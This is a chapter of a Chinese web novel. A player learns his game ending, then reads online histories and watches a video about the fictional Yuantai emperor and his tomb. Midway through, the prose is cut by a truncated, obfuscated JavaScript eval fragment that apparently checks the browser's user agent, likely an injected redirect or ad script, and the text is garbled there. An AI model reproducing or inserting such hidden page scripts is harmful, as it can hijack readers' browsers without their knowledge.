他起身看向游戏界面,上面黑底白字的简陋画面,依旧是那句结局提醒:【恭喜玩家完成结局:史册留名。】 祝瑶点开唯一的结局评价,即人生总结: 这一生,你生的一般,资质秉性都普通,幸运的是,你收获了个极品恋爱脑加事业狂皇帝老公,顺带沾他的光,多少在史书上留下了个小小名字。 祝瑶:“……” 他觉得……自己迟早有天被游戏气死。 他缓缓往下看,看的很细致。 游戏点评: 开局糟糕,过程惊险,走向离奇,结局荒谬,堪称一绝。 你的倾情出演,着实吸引了不少看客,不少当世和后世诗人讥讽此事。 史书多言美色之祸,美人误国。可偏偏你非女子,却以男子之身,祸患一国之事,着实令人费解。更有正史言明:少长成,无颜色,帝深爱之,常伴左右。 以至于连美色误国他们都骂不了你,你反倒成了个空洞符号,以证明皇帝的荒唐和奇葩。 祝瑶沉默,是另一个世界的史书吗?不知道为什么,他有点不太好的预感,莫名的有些抗拒。 他不想去探究太多。 【恭喜你,玩家你实在是太强大了!完美躲过了各种批评,只在史书之上留下浅浅一笔。】 【不过,玩家真的觉得自己的选择没错吗?制作组在此献上最真挚的呼吁,游戏如人生,人生即游戏,请务必要谨慎选择你的结局,你所做出的每一个选择都深深影响着未来的走向。】 【当然,我们相信玩家一定能越玩越好,越玩越能领悟游戏的真谛。】 耳边传来一股幽幽的语调,前面是阴阳怪气的赞叹,后面则是略有些真诚的倾诉和安慰。 祝瑶怔住,终是忍不住质问: “什么叫做游戏真谛,攻略一个活生生的人吗?把这一切都当做游戏,一步步的最大利益化吗?” “那何必让我进入游戏……我可以把他当做朋友,可那不是爱情,那只是斯德哥尔摩综合征下的不可避免的依赖,共情……所谓的攻略也足够荒谬。” “感情的事……真的能量化吗?” 祝瑶略有些讥讽,深感这个游戏的扯淡。 【可是玩家不是尝试了吗?用你的死亡证明了游戏的判断,是的,不只是爱情,当情绪冲积到最极端的时候……攻略度自动冲上了100%,没错,玩家的判断完全没问题!!!】 【玩家你是个敢于冒险,敢于挑战的游戏玩家,不是吗?】 【玩家用自我献祭,成功获得了此周目的结局。】 祝瑶无言。 他承认……他有点恨这个游戏太直白,把所有一切都说通,显得自己还真是足够的没良心。 逃避可耻吗? 祝瑶不知道,他只知道自己逃了,很可耻的逃了。 【哟哟哟,玩家终于承认自己的问题了,直面问题才是解决问题的最佳途径,逃跑并不能真正的解决哦。】 【三天的休整时间,希望玩家能够重整旗鼓,好好继续游戏,期待玩家打通更多结局哟。】 【只是,玩家真的不决定好好看看……您的结局吗?】 祝瑶怔住,他刚刚不是看了吗?不是指游戏评价吗…… 再无回声,仿佛一切都消失了。 此刻寂静的可怕,有的只是电脑前键盘的闪光,一闪一闪的,仿佛在提醒着时间的流逝。 黑底的游戏界面,依旧停留在那句:【恭喜玩家完成结局:史册留名。 】 忽得,祝瑶整个人抓住鼠标,找到网页搜索,打了几个字,他打的有些慢,有些犹豫和迟疑,最终看着打出的两个字“元泰”出了会神,还是点击了搜索。 网页速度跳转,出现无数个页面: 晋朝元泰皇帝算是个昏君吗? 盘点历史十大疯帝,元泰皇帝算不算当之无愧的第一?[笑jpg]” 好家伙!竟有如此疯狂的皇帝,立自己表弟为男后? 元泰帝在位八年,毁誉参半,后世史家多批驳…… 元泰:镇压士族的血腥上位史 访谈|何闵:元泰皇帝的政治野心和情感抒发 …… 晋朝由盛转衰的转折点,元泰八年之后的黑暗时局 帝王之死:一个时代的落幕,在位不过八年,紧握军权,清丈田地…… 一桩普通的妖邪之说,如何引起了元泰皇帝的震怒,牵连数百人,宗室朝臣皆人人自危? 爱情疯子?痴情皇帝?元泰皇帝和其表弟不得不说的三件事…… 后位空悬,殉情而死,史上最痴情的皇帝之一元泰皇帝 残暴的元泰帝,一代明君到疯君的转变…… 祝瑶有些震住,飞速地滚动,无数个浮夸、评点、讲座类型的网页,以及最顶端下面那无比突出的小字解释。 [元泰:晋代武宗皇帝赫连辉在位时的年号] [晋武宗赫连辉(1202—1241)是晋朝第九位皇帝,在位时间八年(1233-1241)] 祝瑶看的很认真,伴随着几声嘲讽的笑,他边看边搜,不知时间的流逝,直到双目紧绷,难以睁开,终是停下了滑动滚轮的手。 最后,他仰头闭眼,向后躺去,有些荒唐的想。 这就是所谓的……结局。 这还真是胡闹啊。 是真的吗?还是只是一个笑话,一个荒诞不经的玩笑。 玩一场真实世界的游戏已经足够荒唐。 玩的结局改变了千年后的现世,更是何等的荒唐。 祝瑶记起来了……关于熙平的年号,那隐隐约约的熟悉感,他这个历史盲依稀记得这个年号,貌似是因为前段时间市面上出了一款游戏,里面有个角色,貌似参考了熙平之后的中兴之主宣武帝。 他能记住熙平,不过是因为游戏里说宣武帝是养子。 他那时觉得挺神奇,皇帝无所出,直接抱养了个孩子。 可是……现在没有了熙平,只有元泰,只有那些……史书上的几行字,的确是几行字,可于后世而言,好像更多的是笑谈,是世人茶余饭后的闲聊。 共陵墓,同生死。 这便是你求的吗?祝瑶恍惚地想着,打开的视频,语音渐渐的播放着,配着轻音乐,有些诙谐的语气介绍着。 “不求来世,只求史书上刻下我们的名字。” “千秋万载,能否依旧?” “这后一句是元泰帝写在墓志铭的话,他在世的最后一年,时而疯癫,时而清醒,朝政基本荒废了,可他唯一坚持的事情就是修建曜陵,不顾一切的修,用尽当时皇家私库,以至于后面的昭平帝前期节衣缩食,中期贪婪过度,追求奢靡,宠信宦官……最终导致宦官乱朝,三朝帝王皆为傀儡……最后直接亡朝换代。” “史家皆说,晋朝实亡于元泰,未曾没有几分道理。” “不过这里最想说的是关于……关于他的荒诞不经,在他生命的最后一年里,他居然立了自己‘亲弟弟’为皇后,当然据后世考证不是亲弟,是表弟,因元泰帝非先帝之子,是慧敏长公主之孙。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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音乐是跳动的、节奏的旋律很强。 “所谓的权臣乱政,时局动荡也只是一面之词,挖掘出的时人手稿《祭时局》里写到:''元泰所兴变法之事,皆已废之。’。两代权臣,一心变法,沿袭元泰新政,最后竟是被写在晋朝奸臣传里。” “史学界对晋朝末年的乱政乱世,同史书里昭平帝在位30余年的太平盛世之差,向来多有微词,若非曜陵的挖掘,连带着将周边的无名墓冢一同挖出,将其中的残简修复,怕依旧是毫无证据……” “关于这个墓,墓主人的身份多有争议,不过史学界大部分认可是权臣夏启言之墓,因其无墓志铭,随葬品几近全无,唯独葬了几只纸鸢和一箱斑驳不清的旧时书籍。若非后来其学生兰笙亲朋后人的墓志铭前两年被挖掘,中间提了一笔兰笙曾力排众议,遵循师嘱,将其遗骨焚烧,骨灰洒于渭水中,衣冠冢葬在远远遥望渭水的北帝山里,还很难判定墓主人究竟是谁。” “生不带来,死不带去。” “同其弟子后期刚硬狂妄,临死之前,干脆自焚蓬莱殿,无碑无墓不同,夏启言这个权臣的墓就这样静静伫立在渭水边上,曜陵前面千年,不被世人打扰。” “曜陵吗?” 祝瑶喃喃自语。 视频的尾声依旧在叹惋,在追逝,“悠悠江水,不知埋葬了多少往事,渭水边上的故事直到今日,依旧被世人传颂,我们虽不能知晓当时具体之事,可依旧从这些留下的痕迹里看出那一笔笔历历在目的感情。” “好比元泰帝在曜陵里留下的墓志铭,就我看来完全是元泰帝写给他表弟的情书。” “今天的故事就讲到这里,大家有机会的话,真的可以去曜陵博物馆看一下,展览馆不大,挖掘出的文物基本都在那里。” “那里的梨花开的时候很美,很清静的地方,馆前更种了无数芙蓉,非常适合打卡拍照。” 祝瑶闭眼,不愿想。 曜陵。 曜陵。 曜指“光辉”…… 祝瑶终究是从座椅爬起来,查看了距离明天……最近最早的的航班,电脑屏幕前照出他略不平的眉,那双清幽的眼,难以判断出情绪。 不知过去多久,随着航班出了,他彻底的向后倒去,陷入沉沉的睡意之中。